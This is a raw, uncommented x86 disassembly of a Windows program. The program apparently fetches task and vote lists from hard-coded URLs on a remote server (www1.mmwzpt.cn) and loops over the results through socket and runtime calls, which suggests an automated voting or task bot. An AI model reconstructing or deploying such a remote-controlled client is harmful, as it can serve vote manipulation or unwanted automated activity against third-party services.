push 0x52010001
push 2
mov ebx, 0x434830
call fcn.0043127a
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
push 0x4ef398
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x434830
call fcn.0043127a
add esp, 0x1c
call fcn.0041718a
mov eax, dword [0x5a3f14]
cmp dword [0x5a3f18], eax
jl 0x4128ef
push 0xffffffffffffffff
push 0x12
push 0x160198d8
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jne 0x41289e
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov eax, 5
mov ebx, 0x49f3e0
call fcn.0043128c
add esp, 0x1c
jmp 0x4128ef
mov dword [0x5a3e80], 0
mov dword [ebp - 0x74], esp
push 0x1388
push 0
push 0x40
push 0x4ef084
push 0x4ef3bb
push 0
mov eax, 0x1f
call fcn.00431274
cmp dword [ebp - 0x74], esp
je 0x4128e5
push 6
call fcn.0043126e
add esp, 4
push 0
call fcn.00431292
add esp, 4
cmp dword [0x5a3f10], 0
je 0x41367a
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www1.mmwzpt.cn_mmrj_zx.asp_Actionzxtasknamesannonghn_lm
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4129cf
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4129e2
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4129f5
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x412a08
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x412a1b
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x412a2e
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x412a3e
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x412a4e
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x412a64
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x412a90
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x412aa7
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef35c
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef2ec
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x412afa
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x412b0a
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x412b20
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431f20
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x412b52
push ebx
call fcn.00431286
add esp, 4
fld qword [ebp - 0x8c]
call fcn.00402653
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef107
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef35c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x412baf
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x412bbf
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x412bd6
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5a3f10]
fstp qword [ebp - 0x80]
fsub qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00402653
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jle 0x413093
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4ef110
push dword [ebp - 0x74]
push 0x4ef110
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x412c53
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x412c78
mov eax, 0x4ee6f0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x412c8c
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x412cb2
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
jne 0x412d07
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef084
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x4ef43d
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
push 0
call fcn.00431292
add esp, 4
jmp 0x41308e
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x4ee75f]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x4ef110
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x412d48
mov eax, 0x4ee6f0
push eax
push 3
mov ebx, 0x432660
call fcn.0043127a
add esp, 0x28
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x412d86
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x412d82
imul eax, dword [ebx]
jmp 0x412d77
mov ecx, eax
test ecx, ecx
je 0x412da5
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x412d9e
push ebx
push eax
call fcn.00431286
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x412d8c
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 1
mov eax, 0x4ee6f0
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x412dce
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x4ee75f]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00402653
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x412e75
mov ebx, dword [ebp - 0x44]
call fcn.00402693
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x412e20
push 4
call fcn.0043126e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x412e33
push 1
call fcn.0043126e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x4ef110
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push dword [ebp - 0x4c]
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x412e6c
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
pop eax
pop ebx
pop ecx
jmp 0x412df5
add esp, 0xc
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4ef110
push dword [ebp - 0x74]
push 0x4ef110
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x412ebe
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x412ee3
mov eax, 0x4ee6f0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x412ef7
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x412f1d
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x412f6d
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef084
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x4ef47e
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
push 0
call fcn.00431292
add esp, 4
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x412fa5
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x431a20
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x412fcb
push ebx
call fcn.00431286
add esp, 4
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x412fea
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x4319e0
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x413010
jmp 0x41367a
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www1.mmwzpt.cn_mmrj_paylist.asp_votesannonghn_lm
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x413166
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x413179
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x41318c
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x41319f
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4131b2
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4131c5
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4131d5
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4131e5
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4131fb
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x413227
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41323e
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x413255
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x4ef54d
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, 0x4ef550
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4132c0
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4132d3
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4132e3
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4132fa
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x50], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x413311
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431f20
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fild dword [0x5a3f10]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x80]
fsub qword [ebp - 0x88]
fcomp qword [0x4ef112]
fnstsw ax
test ah, 1
jne 0x41367a
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x413388
push 0x4ef59d
push dword [ebp - 0x2c]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x4136f4
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.00431298
add esp, 0x18
mov dword [0x5a3ef4], 1
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.00431298
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d4
push 0x52010001
call fcn.00431298
add esp, 0x18
push 0x4ef5a0
push dword [ebp - 0x2c]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x41376e
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.00431298
add esp, 0x18
mov dword [0x5a3ef4], 0
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.00431298
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d5
push 0x52010001
call fcn.00431298
add esp, 0x18
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef5a5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41379f
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x413962
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef5ad
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4137f0
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4ee75f]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef5af
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41384c
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef5ad
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413896
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x4ee75f]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00402653
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413918
mov eax, 0x4ee6f0
push eax
push 3
mov ebx, 0x431a70
call fcn.0043127a
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x16010a35
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x413962
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef5b1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413993
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x413eca
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef0f7
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef5b1
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x413a02
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x413a12
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x413a29
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
push dword [ebp - 0x54]
call fcn.0040107a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x413a73
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x413b21
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4ef5bd
push dword [ebp - 0x74]
push 0x4ef5da
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x413ac3
push ebx
call fcn.00431286
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef084
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x413af4
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x413b17
push ebx
call fcn.00431286
add esp, 4
push 0
call fcn.00431292
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef110
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x413b52
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x413eca
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef110
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x413b97
mov eax, 0x4ee6f0
push eax
push 3
mov ebx, 0x432660
call fcn.0043127a
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x413bcf
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x413bcb
imul eax, dword [ebx]
jmp 0x413bc0
mov ecx, eax
test ecx, ecx
je 0x413bee
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x413be7
push ebx
push eax
call fcn.00431286
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x413bd5
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], 1
mov ebx, dword [ebp - 0x58]
call fcn.0040267a
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x413ec7
mov ebx, dword [ebp - 0x58]
call fcn.00402693
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x413c3d
push 4
call fcn.0043126e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x413c50
push 1
call fcn.0043126e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x74]
push dword [ebx]
call fcn.0040107a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x413ca0
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x7c], 0
je 0x413d4e
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4ef5bd
push dword [ebp - 0x74]
push 0x4ef5da
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x413cf0
push ebx
call fcn.00431286
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef084
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x413d21
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x413d44
push ebx
call fcn.00431286
add esp, 4
push 0
call fcn.00431292
add esp, 4
mov ebx, dword [ebp - 0x58]
call fcn.00402693
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x413d6b
push 4
call fcn.0043126e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x413d7e
push 1
call fcn.0043126e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x78], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x413dc6
mov eax, 0x4ee6f0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x413dda
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x413e00
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x413ebf
mov ebx, dword [ebp - 0x58]
call fcn.00402693
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x413e27
push 4
call fcn.0043126e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x413e3a
push 1
call fcn.0043126e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x4ef5f3
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push 0x4ef625
mov ecx, 3
call fcn.004014b1
add esp, 0xc
mov dword [ebp - 0x78], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef084
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x413e92
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x413eb5
push ebx
call fcn.00431286
add esp, 4
push 0
call fcn.00431292
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x413c12
add esp, 0xc
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef63a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413efb
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x414272
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef643
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x413f4c
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
